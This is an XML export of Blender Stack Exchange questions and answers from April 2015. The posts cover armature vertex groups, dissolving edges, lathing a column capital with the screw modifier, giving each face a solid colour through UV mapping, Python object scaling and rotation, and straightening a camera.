  <row Id="28973" PostTypeId="2" ParentId="28971" CreationDate="2015-04-26T09:40:01.813" Score="0" Body="&lt;p&gt;You need an armature modifier, set to vertex groups. Vertex groups that have the same name as the bone are affected by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=dxz7LQ-xKjM&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=dxz7LQ-xKjM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a video on such matters vertex groups and so starts around the 8 minute mark.&lt;/p&gt;&#xA;" OwnerUserId="62" LastActivityDate="2015-04-26T09:40:01.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28974" PostTypeId="1" CreationDate="2015-04-26T09:41:17.157" Score="2" ViewCount="55" Body="&lt;p&gt;while trying to make a model low-poly I was wondering if there was a way that I could delete an edge and have blender automatically re-join the vertices! To get from the left state to the right state without taking any steps in-between&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ftson.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13997" LastEditorUserId="47" LastEditDate="2015-04-26T10:35:54.960" LastActivityDate="2015-04-26T12:26:33.023" Title="a quick time+poly saving trick (Remove a section of Edge Loop)" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28975" PostTypeId="2" ParentId="28971" CreationDate="2015-04-26T10:10:45.637" Score="3" Body="&lt;p&gt;When using the &lt;strong&gt;Armature modifier&lt;/strong&gt; with &lt;strong&gt;&lt;em&gt;Vertex Groups&lt;/em&gt;&lt;/strong&gt; enabled :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tETcf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the vertex groups should have the same names as the bones so they can be bound together &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdIyh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-26T10:10:45.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28976" PostTypeId="1" CreationDate="2015-04-26T10:40:06.787" Score="20" ViewCount="2486" Body="&lt;p&gt;I need a good way to model the rounded shape of a capital, just like in &lt;a href=&quot;http://www.home.mauerabdeckungen-pfeilerabdeckungen-saeulen.de/images/0_S%C3%A4ulen_/S%C3%A4ule_Niessen_01510_Hohl-S%C3%A4ule_kanneliert_Ws_1_T2.jpg&quot; rel=&quot;noreferrer&quot;&gt;the picture.&lt;/a&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/yHVgw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, that it should be precise for architectural modeling.&#xA;I could use paths, but that would be really painful to do ;)&#xA;And Bevel is not precise enough I would say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be the best way to model a capital ?&lt;/p&gt;&#xA;" OwnerUserId="13998" LastEditorDisplayName="user1853" LastEditDate="2015-04-26T15:51:19.663" LastActivityDate="2015-04-26T16:41:42.393" Title="How to model the rounded outline of a column" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28977" PostTypeId="2" ParentId="28976" CreationDate="2015-04-26T11:12:23.537" Score="22" Body="&lt;p&gt;I'm not sure there is a &lt;em&gt;best&lt;/em&gt; way, but using a Curve and the Screw Tool allows you to edit the profile non destructively and get nice flowing curves by using the Bezier handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools needed.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Import image as background (or use Import Image as Plane addon.. if you want to get work done)&lt;/li&gt;&#xA;&lt;li&gt;Curve Object, with origin placed on the point you want to rotate around.&lt;/li&gt;&#xA;&lt;li&gt;Use the Screw modifier, to &quot;Lathe&quot; the Curve geometry.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FO9a0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick with Curve object is you can have straight and curved sections in one Curve object, and each curve section can have a different level of subdivision. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want straight section: select the two handles of the section you want straight and press &lt;kbd&gt;V&lt;/kbd&gt; and choose &lt;em&gt;Vector&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceM9V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want a section curved select the handles for that section and &lt;kbd&gt;V&lt;/kbd&gt; and choose &lt;em&gt;Free&lt;/em&gt; then move them around.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tb2FR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help see stuff, you might want to change the Normal size, else it just looks like random lines fanning out from your curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYOQO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding sections of curve is easy, select the last Knot ( not handle ) and press extrude and drag away, just like with vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On its side that Curve looks something like this, it was done fast only to give an impression. Take your time to include transitions and change the subdivision per segment if you can get away with reducing geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwRqo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick recap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AFpw5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-26T13:20:00.603" LastActivityDate="2015-04-26T13:20:00.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28978" PostTypeId="2" ParentId="28976" CreationDate="2015-04-26T12:16:32.047" Score="9" Body="&lt;p&gt;You can achieve this result with actual modelling as well, which is good if you want to have the capital and the pillar all one piece. The basic concept is the extruding and scaling of a circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWhiQ.gif&quot; alt=&quot;MakingPillarCapital&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the inset parts of the pillar, select the lower face loop &lt;em&gt;(&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; in face select mode)&lt;/em&gt;, and then &lt;em&gt;Select &gt; Checker Deselect&lt;/em&gt;. Now simply extrude and scale inwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fairly easy to edit as you can just &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; to select an edge loop, and then scale it again to change that edge loop's shape. You can also add another edge loop at any point using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;+&lt;kbd&gt;LMB (x2)&lt;/kbd&gt;. You may also find it useful to be able to crease edges using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; if you add a subdivision surface modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wj2a2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Following Reference Wire:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQZcz.jpg&quot; alt=&quot;Using Reference&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this might be a harder/less efficient way to do this (depending on level of experience), it has the benefit of already being a mesh, and being able to incorporate the rest of the pillar in one piece. You can move the loops in extremely precise (to the fourth decimal place) increments using numerical inputs, the same for scaling. Also you will not get any weird topology artifacts from exporting like you would with a curve object. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-26T12:36:50.873" LastActivityDate="2015-04-26T12:36:50.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28979" PostTypeId="2" ParentId="28974" CreationDate="2015-04-26T12:26:33.023" Score="3" Body="&lt;p&gt;To remove this edges and keep the faces , do the selection and hit &lt;kbd&gt;X&lt;/kbd&gt; then choose &lt;strong&gt;&lt;em&gt;Dissolve Edges&lt;/em&gt;&lt;/strong&gt;  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97amS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-26T12:26:33.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28980" PostTypeId="2" ParentId="28295" CreationDate="2015-04-26T12:33:09.823" Score="3" Body="&lt;p&gt;Every quad is treated as 2 triangles, this is what is causing the problem. You need smooth shading for the edges inside the quads and sharp for the corners of the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this set the smoothing to smooth and in the mesh properties check the auto-smooth option and set the angle for cca. 70° (depends on the twisting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cFQGi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CW1w3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way faces with angle with more than 70° will keep sharp shading between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also densify the geometry so it follows the ideal curved/bended surface closer.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-26T12:33:09.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28981" PostTypeId="1" AcceptedAnswerId="28990" CreationDate="2015-04-26T13:17:29.523" Score="9" ViewCount="1651" Body="&lt;p&gt;I'm trying to &lt;strong&gt;create a polygonal art background, based on an image texture&lt;/strong&gt;, like this penguin picture at this link: &lt;a href=&quot;http://www.polygenapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.polygenapp.com/&lt;/a&gt; &#xA;That image was generated using &lt;a href=&quot;https://medium.com/@polygenapp/how-polygen-uses-gradients-and-delaunay-triangulation-to-generate-beautiful-patterns-ac9b7f94eadb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this method&lt;/a&gt;, How can I do something like it using cycles. Note, I already have a mesh, I just want to texture it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I prefer OSL, but anything that is one or two click to update will fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method works by finding the color at the center of the face. I believe the is better then averaging vertexes in many instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It would mean a lot if I didn't have to apply any modifiers on the mesh in order for this to work, just heads up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a practice file with modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/203/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=203&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;This is &lt;strong&gt;not a duplicate&lt;/strong&gt; of this: &lt;a href=&quot;https://blender.stackexchange.com/q/27747/3127&quot;&gt;Is there a smart way to apply a better transition between colours while maintaining one solid colour per face?&lt;/a&gt;, That is not applicable to any textures, just gradients.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2020-03-28T16:23:49.640" Title="Solid color for each face in cycles when using image textures?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28982" PostTypeId="1" CreationDate="2015-04-26T13:22:49.137" Score="1" ViewCount="54" Body="&lt;p&gt;I have a sphere and I want to make some cylindrical cavities on it's surface, which are tangent to the sphere's surface&#xA;The cylinders wich which I should make the boolean difference should be disposed as a sea urchin, i suppose: with the bottom faces of the cylinders being on the same origin and the top faces spreading out radially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some images to give a better idea of what I should do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a &quot;flattened&quot; version of what I want to acieve&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aqHN1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do the same thing on a sphere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get to the point where i get something like this but with the cylinders going all around the sphere orbiting around its Z-axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5xW6Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Is there a versatile way of doing so on objects which have an elliptical/irregular shape?&lt;/p&gt;&#xA;" OwnerUserId="14001" LastEditorUserId="14001" LastEditDate="2015-04-26T15:11:09.877" LastActivityDate="2015-04-26T15:11:09.877" Title="array of cylinders around sphere surface (sea-urchin-like)" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-26T15:24:10.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="28983" PostTypeId="2" ParentId="28976" CreationDate="2015-04-26T13:40:40.607" Score="13" Body="&lt;p&gt;You can also create the profile with vertices :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqzIw.jpg&quot; alt=&quot;Profile&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use &quot;Screw Modifier&quot; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZG2E.jpg&quot; alt=&quot;Screw&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5095" LastActivityDate="2015-04-26T13:40:40.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28984" PostTypeId="1" AcceptedAnswerId="28985" CreationDate="2015-04-26T13:57:58.907" Score="7" ViewCount="2315" Body="&lt;p&gt;I want to create a set of &quot;distorted&quot; images using python. The images should show possible misplacements of objects. The part of my script for translation and rotation seems to work well, but the scaling part doesn't work as expected. I want to randomly choose scaling parameters (&lt;code&gt;random.gauss(1, 0.33)&lt;/code&gt;) to scale in the different axes - so I put the following in a while loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 3 random variables for scaling in x, y and z directions&#xA;num1 = math.fabs(random.gauss(1,0.33))&#xA;num2 = math.fabs(random.gauss(1,0.33))&#xA;num3 = math.fabs(random.gauss(1,0.33))&#xA;# scaling with random variables&#xA;bpy.ops.transform.resize(value=(num1, 1, 1), constraint_axis=(True, False, False))&#xA;bpy.ops.transform.resize(value=(1, num2, 1), constraint_axis=(False, True, False))&#xA;bpy.ops.transform.resize(value=(1, 1, num3), constraint_axis=(False, False, True))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I save the image and want to get back to the &quot;undistorted&quot; image. So I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# scale back to original image&#xA;bpy.ops.transform.resize(value=(1/num1, 1, 1), constraint_axis=(True, False, False))&#xA;bpy.ops.transform.resize(value=(1, 1/num2, 1), constraint_axis=(False, True, False))&#xA;bpy.ops.transform.resize(value=(1, 1, 1/num3), constraint_axis=(False, False, True))  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't bring me back to the start. So I tried this in the console window of blenders UI. I have the simple startscreen featuring a camera, a cube and a lamp. For now resize and re-resize works. But if I turn the Cube by 45° round the z-axis it doesn't work any more. Scaling by (2,1,1) gives me a scale of (1.581,1.581,1) which suggests the scaling works in global coordinates. But why doesn't scaling with (0.5,1,1) give me the original cube. It gives me a scale of (1.25,1.25,1) instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, how do I get this to give me the original object back?&lt;/p&gt;&#xA;" OwnerUserId="14000" LastEditorUserId="14000" LastEditDate="2015-04-26T21:05:55.087" LastActivityDate="2015-04-26T21:05:55.087" Title="Scale/Rescale using resize doesn't fit" Tags="&lt;python&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28985" PostTypeId="2" ParentId="28984" CreationDate="2015-04-26T14:23:39.577" Score="6" Body="&lt;p&gt;One way to do this is to get used to scaling using the &lt;code&gt;obj.matrix_world&lt;/code&gt; and &lt;code&gt;obj.matrix_local&lt;/code&gt;. Where &lt;em&gt;obj&lt;/em&gt; is a reference to your Object. That way you can reset to the original scale using the identity matrix. You can even chain various kinds of matrix manipulations (Rotate, Scale, Location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope to have time to give examples. The documentation shows how to do things, but it assumes you know Matrices and Vectors well enough to understand the terms: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/mathutils.html?highlight=matrix#mathutils.Matrix&quot; rel=&quot;nofollow&quot;&gt;docs: mathutils.Matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ideasman points out that &lt;code&gt;object.scale&lt;/code&gt; can be used. This is a convenient way if all you need is to rescale, it lets you scale directly using a vector (or tuple.. or list..as long as there's 3 elements).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['Cube']&#xA;obj.scale = (0.5, 0.3, 1.2)&#xA;&#xA;# will return all dimensions to their original value&#xA;obj.scale = (1, 1, 1)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You mention in your Question about rotation. Another convenient way to rotate an Object can be found in the set of attributes starting with &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Object.html?highlight=rotation_#bpy.types.Object.rotation_quaternion&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;.rotation_*&lt;/code&gt;:  see Docs&lt;/a&gt; for a description of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.rotation_axis_angle&#xA;obj.rotation_euler&#xA;obj.rotation_mode&#xA;obj.rotation_quaternion&#xA;&#xA;# ---- needed imports to use euler and math module&#xA;import math&#xA;from mathutils import Euler&#xA;&#xA;obj.rotation_euler = Euler((0, 0, math.radians(45)), 'XYZ')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-26T19:28:48.117" LastActivityDate="2015-04-26T19:28:48.117" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28988" PostTypeId="1" CreationDate="2015-04-26T15:44:22.737" Score="3" ViewCount="2203" Body="&lt;p&gt;I am doing this Blender Guru Tutorial  &lt;a href=&quot;https://youtu.be/Xbc3KMIOuKM?t=1122&quot; rel=&quot;nofollow&quot;&gt;How To make a Beer&lt;/a&gt;. At about 18:30 minutes Blender Guru is making a duplicate of a selection (that has to become the beer in the glass).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to do the same but somehow I cannot make the duplicate.&lt;br&gt;&#xA;Here is my &lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/yxaxzcca7foxyr5/glass-of-beer-01.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;. Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="2217" LastEditDate="2015-04-26T17:38:15.973" LastActivityDate="2015-04-26T17:38:15.973" Title="Cannot duplicate selection" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28989" PostTypeId="2" ParentId="28988" CreationDate="2015-04-26T15:53:40.207" Score="2" Body="&lt;p&gt;You have proportional editing on (the blue icon in the 3d view header) with a large proportional size (a large circle that appears when you try to transform) so when you try to move the duplicate mesh it moves the entire object and thus appears to have no effect, toggle it on/off with &lt;kbd&gt;O&lt;/kbd&gt; or by going to the menu and choosing &lt;em&gt;Disable&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nEtTc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that to duplicate and separate, use &lt;Kbd&gt;Shift&lt;/Kbd&gt; &lt;Kbd&gt;D&lt;/Kbd&gt;, confirm with left click and then press &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Selection&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-04-26T16:35:51.540" LastActivityDate="2015-04-26T16:35:51.540" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28990" PostTypeId="2" ParentId="28981" CreationDate="2015-04-26T15:59:42.583" Score="13" Body="&lt;p&gt;Here is one way to do this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;duplicate the final mesh (modifiers applied )&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV unwrap the new object using this method :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select all face&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;strong&gt;&lt;em&gt;Edges Split&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;resize all faces to Zero with &lt;strong&gt;&lt;em&gt;Individual origins&lt;/em&gt;&lt;/strong&gt; as a pivot &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;U&lt;/kbd&gt; and select &lt;strong&gt;&lt;em&gt;Project from View Bounds&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dPOuO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy this map to the original object, using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&gt;&lt;em&gt;Transfer UV map&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that all points on the same face will have the same UV coordinates meaning they will have the same color in render.&lt;br&gt;&#xA;You can adjust the UVmap for more precise output.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the workflow of setting up a good mesh  :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the Image as a background in the view&lt;/li&gt;&#xA;&lt;li&gt;Add a plane (or simply import the same image as plane to skip setting up materials)&lt;/li&gt;&#xA;&lt;li&gt;Delete the face (in Edit mode &lt;strong&gt;&lt;em&gt;Select All&lt;/em&gt;&lt;/strong&gt; and &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;strong&gt;&lt;em&gt;Only Faces&lt;/em&gt;&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Start doing a loose tracing of the image by adding vertices in Edit mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt;, don't worry about crossing edges!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WzmkF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete all edges (&lt;strong&gt;&lt;em&gt;Select All&lt;/em&gt;&lt;/strong&gt; and &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;strong&gt;&lt;em&gt;Only Edges&amp;amp;Faces&lt;/em&gt;&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;For this step you need &lt;a href=&quot;https://github.com/domlysz/BlenderGIS/wiki/Install-and-usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Delaunay/voronoi Addon&lt;/a&gt; it will create a triangulated mesh from the points &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sY98q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The rest is described in the first part above &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here is a sweet penguin render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lYGfp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="2214" LastEditDate="2020-03-28T16:23:49.640" LastActivityDate="2020-03-28T16:23:49.640" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28991" PostTypeId="1" AcceptedAnswerId="28992" CreationDate="2015-04-26T16:06:17.427" Score="7" ViewCount="1990" Body="&lt;p&gt;If I have a camera at 0/0/0 of the x/y/z and its heading is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it point in the direction of 1/0/0 quickly?&lt;/p&gt;&#xA;" OwnerUserId="13843" LastEditorUserId="2217" LastEditDate="2015-04-26T17:39:13.243" LastActivityDate="2015-04-27T03:30:20.503" Title="Straighten Camera in Blender" Tags="&lt;transforms&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28992" PostTypeId="2" ParentId="28991" CreationDate="2015-04-26T16:27:40.280" Score="8" Body="&lt;p&gt;The fastest way if you haven't applied any transforms on the camera is to reset the rotation with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to 0/0/0 and then rotate it 90&amp;deg; on the X and &lt;em&gt;-90&amp;deg;&lt;/em&gt; on the Z, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;90&lt;/code&gt;, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; &lt;code&gt;-90&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have changed the transforms and can't reset it to 0/0/0, you can use exact measurements by using the &lt;strong&gt;transform section&lt;/strong&gt; of the properties panel or the &lt;strong&gt;object tab&lt;/strong&gt; in the properties view to rotate it &lt;em&gt;90&amp;deg;&lt;/em&gt; on the X axis, &lt;em&gt;-90&amp;deg;&lt;/em&gt; on the Z axis and &lt;em&gt;0&amp;deg;&lt;/em&gt; on Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGiP7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-04-27T03:30:20.503" LastActivityDate="2015-04-27T03:30:20.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
